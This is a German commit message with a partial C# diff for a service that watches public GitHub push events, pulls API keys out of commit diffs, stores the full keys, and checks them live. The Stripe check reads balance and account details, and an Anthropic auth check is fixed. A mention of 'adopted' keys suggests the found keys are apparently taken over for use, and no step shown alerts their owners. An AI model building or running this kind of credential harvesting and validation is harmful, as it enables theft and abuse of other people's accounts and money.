feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking

Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung

Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter

Services/GitHubEventScannerService.cs

@@ -190,7 +190,7 @@ public class GitHubEventScannerService : BackgroundService
         AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
 
         // Head-Commit-Diffs scannen
-        var newKeysFound = 0;
+        var newKeyIds = new List<string>();
         var scannedCount = 0;
         foreach (var pe in toScan)
         {
@@ -213,10 +213,11 @@ public class GitHubEventScannerService : BackgroundService
                     var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
                     var typeName = KeyPatterns.DisplayName(keyType);
 
-                    newKeysFound++;
+                    var keyId = Guid.NewGuid().ToString("N");
+                    newKeyIds.Add(keyId);
                     await _db.CreateScannedKey(new ScannedKeyRecord
                     {
-                        ScannedKeyId = Guid.NewGuid().ToString("N"),
+                        ScannedKeyId = keyId,
                         ApiKey = key,
                         Source = "github_events",
                         SourceUrl = sourceUrl,
@@ -258,15 +259,15 @@ public class GitHubEventScannerService : BackgroundService
             }
         }
 
-        AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
+        AddLog("poll", scannedCount + " Diffs gescannt, " + newKeyIds.Count + " neue Keys");
 
-        if (newKeysFound > 0)
+        if (newKeyIds.Count > 0)
         {
-            lock (_lock) _keysFoundTotal += newKeysFound;
-            _logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
+            lock (_lock) _keysFoundTotal += newKeyIds.Count;
+            _logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeyIds.Count);
 
-            // Neue Keys sofort prüfen
-            await CheckNewKeys(ct);
+            // Nur die gerade gefundenen Keys prüfen (nicht alle unchecked!)
+            await CheckNewKeys(newKeyIds, ct);
         }
 
         return events.Count;
@@ -393,15 +394,15 @@ public class GitHubEventScannerService : BackgroundService
         return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
     }
 
-    /// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
-    private async Task CheckNewKeys(CancellationToken ct)
+    /// <summary>Prüft nur die gerade im aktuellen Poll gefundenen Keys.</summary>
+    private async Task CheckNewKeys(List<string> keyIds, CancellationToken ct)
     {
         try
         {
             var allScanned = (await _db.GetScannedKeys()).ToList();
-            var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
+            var toCheck = allScanned.Where(k => keyIds.Contains(k.ScannedKeyId)).ToList();
 
-            foreach (var sk in unchecked_)
+            foreach (var sk in toCheck)
             {
                 ct.ThrowIfCancellationRequested();
                 var type = KeyPatterns.DetectType(sk.ApiKey);
@@ -437,7 +438,7 @@ public class GitHubEventScannerService : BackgroundService
                     }
                     else
                     {
-                        AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
+                        AddLog("key_checked", $"💾 {typeName} gespeichert (kein Checker verfügbar, bleibt unchecked) · {keyPrefix}");
                     }
                 }
                 catch (Exception ex)